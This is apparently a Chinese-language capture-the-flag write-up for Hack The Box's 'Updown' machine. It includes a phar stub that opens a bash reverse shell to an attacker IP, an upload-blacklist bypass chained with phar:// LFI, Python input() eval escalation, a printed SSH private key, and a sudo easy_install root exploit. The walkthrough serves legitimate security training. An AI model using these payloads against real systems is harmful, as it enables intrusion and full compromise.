Updown

1
2
3
4
5
ip a

10.129.227.227

TARGET="10.129.227.227"

01.信息搜集

靶机发现

目标靶机 ip 为 10.129.227.227

1
2
3
4
5
fscan -h $TARGET > fscan.log

22.80

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sudo nmap -sT -sV -sC -O -p 22,80 $TARGET -oA nmapscan/detail

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

sudo nmap -Pn -sV -A -p 445 -T4 $TARGET

Apache/2 服务

看看 web 端

1
2
3
4
5
6
7
8
siteisup.htb

Here you can check if your website is up or down.
Website to check:

http://google.com
  Debug mode (On/Off)
Hacking attempt was detected !

check 的 但是 127.0.0.1 会 waf

域名来了

1
echo "10.129.227.227 siteisup.htb" | sudo tee -a /etc/hosts

爆破子域名和子目录先

1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt \
    -H "Host: FUZZ.siteisup.htb" -u http://siteisup.htb -fs 0
dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 267ms]


gobuster dir -u http://siteisup.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
http://siteisup.htb/dev/ 不知道有什么

gobuster dir -u http://siteisup.htb/dev/ -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
.git                 (Status: 301) [Size: 315] [--> http://siteisup.htb/dev/.git/]

抓包看看首页发的什么

1
2
3
site=baidu.com&debug=0

Hacking attempt was detected

这也 hacking 基本无效了

看看.git 泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
git-dumper http://siteisup.htb/dev/.git ./web

> ls -liah
total 56
10245540 drwxr-xr-x   9 choco  staff   288B  7月 14 09:45 .
10211590 drwxr-xr-x   8 choco  staff   256B  7月 14 09:45 ..
10245623 drwxr-xr-x  12 choco  staff   384B  7月 14 09:45 .git
10245672 -rw-r--r--   1 choco  staff   117B  7月 14 09:45 .htaccess
10245673 -rw-r--r--   1 choco  staff    59B  7月 14 09:45 admin.php
10245674 -rw-r--r--   1 choco  staff   147B  7月 14 09:45 changelog.txt
10245675 -rw-r--r--   1 choco  staff   3.1K  7月 14 09:45 checker.php
10245676 -rw-r--r--   1 choco  staff   273B  7月 14 09:45 index.php
10245677 -rw-r--r--   1 choco  staff   5.4K  7月 14 09:45 stylesheet.css

SetEnvIfNoCase Special-Dev "only4dev" Required-Header

Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.    --> 应该有漏洞
3- New admin panel.

# checker.php

<?php
function isitup($url){
	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, trim($url));
	curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	$f = curl_exec($ch);
	$header = curl_getinfo($ch);
	if($f AND $header['http_code'] == 200){
		return array(true,$f);
	}else{
		return false;
	}
    curl_close($ch);
}

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
	
  # Read the uploaded file.
	$websites = explode("\n",file_get_contents($final_path));
	
	foreach($websites as $site){
		$site=trim($site);
		if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
			$check=isitup($site);
			if($check){
				echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
			}else{
				echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
			}	
		}else{
			echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
		}
	}
	
  # Delete the uploaded file.
	@unlink($final_path);
}

function getExtension($file) {
	$extension = strrpos($file,".");
	return ($extension===false) ? "" : substr($file,$extension+1);
}
?>

HTTP HEADER 要加 Special-Dev: only4dev
黑名单过滤然后会 delete 掉… php 好像没有内存马这种东西 upload 难道不对

看看子域名

1
2
3
4
5
6
7
8
echo "10.129.227.227 dev.siteisup.htb" | sudo tee -a /etc/hosts

gobuster dir -u http://dev.siteisup.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
Forbidden

GET / HTTP/1.1
Host: dev.siteisup.htb
Special-Dev: only4dev

1
2
3
admin 权限不够

changelog.txt 404

check 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
POST / HTTP/1.1
Host: dev.siteisup.htb
Special-Dev: only4dev
Content-Length: 431
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://dev.siteisup.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMXZxWBPyyKVKtrja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dev.siteisup.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryMXZxWBPyyKVKtrja
Content-Disposition: form-data; name="file"; filename="changelog.txt"
Content-Type: text/plain

Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

------WebKitFormBoundaryMXZxWBPyyKVKtrja
Content-Disposition: form-data; name="check"

Check
------WebKitFormBoundaryMXZxWBPyyKVKtrja--


seems to be down :(



# php: Extension not allowed!
$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
	

// 1. 文件上传：检查大小(<10KB)
// 2. 扩展名黑名单：php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar
// 3. 上传到 uploads/<md5(time())>/
// 4. 按行读取文件内容作为 URL 列表
// 5. 对每个 URL 调用 isitup() — 用 cURL 发起请求
// 6. 删除上传的文件

php 不让对比 zip 压缩过滤

1
2
3
4
5
6
7
8
foreach($websites as $site){
    $site=trim($site);
    if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
        $check=isitup($site);   // ← cURL 请求这一行
    }
}

if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){  // ← 没有过滤phar

cURL 不只是 http/https，它还支持 phar://、gopher://、dict:// 等等。PHP 的 phar 协议可以在访问 phar/zip 压缩包时自动执行其中的 PHP 代码。而且——phar:// 不在 scheme 黑名单里
只需要把 .zip 重命名为 .txt 就能绕过。然后利用 PHP 的 phar:// 流包装器读取这个”txt”文件，PHP 依旧会把它当作 phar 归档来解析。如果 phar 中包含恶意序列化对象，反序列化时就会触发代码执行 (index.php?page=phar://uploads/…/rev.txt)

但是路径还得考虑时间戳 可能得先传一个用于获取时间戳?..
/uploads/ 目录列表已开启 — 上传后可以直接看到 hash 目录名

制作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// 检查 phar.readonly 设置
if (ini_get('phar.readonly')) {
    echo "[!] phar.readonly is On, attempting to disable...\n";
    ini_set('phar.readonly', '0');
}

$phar_file = 'shell.phar';
@unlink($phar_file);

$phar = new Phar($phar_file);
$phar->startBuffering();

// 设置 stub - 这段代码会在 phar:// 被 include 时执行
$stub = '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.17.30/4444 0>&1\""); __HALT_COMPILER(); ?>';
$phar->setStub($stub);

// 添加一个占位文件（Phar 至少需要一个文件）
$phar->addFromString('placeholder.txt', 'just a placeholder');

$phar->stopBuffering();
echo "[+] Created shell.phar successfully\n";
echo "[+] Stub: $stub\n";
1
2
3
4
5
LFI: include($_GET['page'] . ".php")
→ include("phar://uploads/HASH/rev.txt/rev.php")
                             存档名   内部文件名  ↑LFI追加的

PHP 把 rev.txt 当 zip 打开 → 提取 rev.php → include 执行

将生成的 phar 包改为.txt

上传

1
2
3
4
curl -X POST http://dev.siteisup.htb/ \
  -H "Special-Dev: only4dev" \
  -F "file=@/Users/choco/Project/HackTheBox/Updown/payload/rev.txt" \
  -F "check=Check"

132ea0854fde256edf9b5dfc1b487017

执行

1
2
curl -s -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/132ea0854fde256edf9b5dfc1b487017/rev.txt/rev"

权限不够是什么鬼(

看看 info

1
2
3
4
5
6
7
8
9
curl -X POST http://dev.siteisup.htb/ \
  -H "Special-Dev: only4dev" \
  -F "file=@/Users/choco/Project/HackTheBox/Updown/payload/info.txt" \
  -F "check=Check"
  
76328702cdc412af397bd28e1ecfa3c0

curl -s -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/212ecd020ebb82072b87cea75d3f3326/info.txt/info" > info.html

说明是可行的 但是弹不出 shell 是这个权限问题(配置)

1
2
grep -oE 'disable_functions.*?</tr>' info.html | sed 's/<[^>]*>//g'
disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopenpcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen

proc_open 没有被禁
直接 fork 一个 /bin/bash 子进程。子进程不受 PHP disable_functions 约束

www-data

developer:x:1002:1002::/home/developer:/bin/bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@updown:/home/developer$ ls -liah
ls -liah
total 40K
260229 drwxr-xr-x 6 developer developer 4.0K Aug 30  2022 .
  1524 drwxr-xr-x 3 root      root      4.0K Jun 22  2022 ..
261518 lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
260258 -rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
260231 -rw-r--r-- 1 developer developer 3.7K Feb 25  2020 .bashrc
256897 drwx------ 2 developer developer 4.0K Aug 30  2022 .cache
259749 drwxrwxr-x 3 developer developer 4.0K Aug  1  2022 .local
260230 -rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
259775 drwx------ 2 developer developer 4.0K Aug  2  2022 .ssh
261133 drwxr-x--- 2 developer www-data  4.0K Jun 22  2022 dev
260259 -rw-r----- 1 root      developer   33 Jul 14 01:14 user.txt

他怎么有 dev 可能是本地开发的?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
261147 -rwsr-x--- 1 developer www-data   17K Jun 22  2022 siteisup
261146 -rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.py

siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
	print "Website is up"
else:


siteisup_test (乱码里有)
'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py

www-data可以执行 那就 siteisup_test.py 作为反弹 shell 执行
Python 2 的 input() 等价于 eval(raw_input())，会把输入当 Python 代码执行。这就是突破口。
果 python 脚本没有引入 os 库，payload 如下：
__import__('os').system('/bin/sh')

1
2
3
4
5
6
7
8
./siteisup_test

__import__('os').system('/bin/bash')

id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
whoami
developer

USER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
cat user.txt
cat: user.txt: Permission denied
因为gid 还是 www-data

cat /home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

chmod 600 id_rsa

ssh developer@siteisup.htb -i id_rsa

developer@updown:~$ cat user.txt
160f9eb38c335d0277b006c56332c8b5

 sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

install 什么的

1
2
3
4
5
6
7
8
9
cat /usr/local/bin/easy_install
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

easy_install 是 Python 的包安装工具。运行 sudo easy_install /some/dir 时，它会在那个目录找 setup.py 并执行里面的 Python 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
developer@updown:~$ cd /tmp && mkdir expl && cd expl
developer@updown:/tmp/expl$ echo 'import os; os.system("/bin/bash")' > setup.py
developer@updown:/tmp/expl$ sudo /usr/local/bin/easy_install /tmp/expl
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing expl
Writing /tmp/expl/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/expl/egg-dist-tmp-DAdL7H
root@updown:/tmp/expl# whoami;id;cd /root;ls -liah
root
uid=0(root) gid=0(root) groups=0(root)
total 44K
  1533 drwx------  6 root root 4.0K Jul 14 01:14 .
     2 drwxr-xr-x 19 root root 4.0K Aug  3  2022 ..
    94 lrwxrwxrwx  1 root root    9 Jul 27  2022 .bash_history -> /dev/null
  4551 -rw-r--r--  1 root root   11 Jun 22  2022 .bash_logout
  1535 -rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
260235 drwxr-xr-x  3 root root 4.0K Jun 22  2022 .cache
258973 drwxr-xr-x  3 root root 4.0K Jul 27  2022 .local
  1534 -rw-r--r--  1 root root  161 Dec  5  2019 .profile
  3285 -rw-r--r--  1 root root   66 Aug  1  2022 .selected_editor
256007 drwx------  2 root root 4.0K Jun 22  2022 .ssh
 16485 -rw-r-----  1 root root   33 Jul 14 01:14 root.txt
256035 drwx------  3 root root 4.0K Jun 22  2022 snap
root@updown:~# cat root.txt
0d65231902860991325a560477e2fda3
root@updown:~#